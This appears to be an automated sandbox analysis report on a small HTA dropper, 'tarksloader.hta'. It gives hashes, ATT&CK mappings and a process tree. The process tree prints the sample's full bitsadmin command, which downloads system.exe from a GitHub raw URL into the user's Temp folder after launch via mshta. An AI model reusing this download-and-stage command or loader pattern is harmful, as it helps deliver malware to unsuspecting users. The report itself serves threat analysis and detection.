354d082858bfc5e24133854ff14bb2e89bc16e1b010b9d3372c8370d3144cdb9

Analysis

max time kernel
117s
max time network
117s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
26/03/2025, 15:38

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General

Target

tarksloader.hta
Size

944B
MD5

cc3c0e6f75302fb6c2d9b5e7f487efe8
SHA1

aa94427fcc50b727fa22914292ea5c95755823d9
SHA256

354d082858bfc5e24133854ff14bb2e89bc16e1b010b9d3372c8370d3144cdb9
SHA512

24f7550776de67d94311840a68fd0f0d0041c9b2035b47899739ffbdb7c1c83281f8c3cfbf6884ad214b74f6bbb386565b4a1836e7bad1f88e661a940b8c304b

Score

8^/10

discovery dropper

Malware Config

Signatures

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
2596	bitsadmin.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2592 wrote to memory of 2596	2592	mshta.exe	30
PID 2592 wrote to memory of 2596	2592	mshta.exe	30
PID 2592 wrote to memory of 2596	2592	mshta.exe	30
PID 2592 wrote to memory of 2596	2592	mshta.exe	30

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\tarksloader.hta"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2592
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://github.com/ruthmooregmuax/ruthmooregmuax/raw/refs/heads/main/system.exe C:\Users\Admin\AppData\Local\Temp\system.exe
  2⤵
  - Download via BitsAdmin
  - System Location Discovery: System Language Discovery
  PID:2596

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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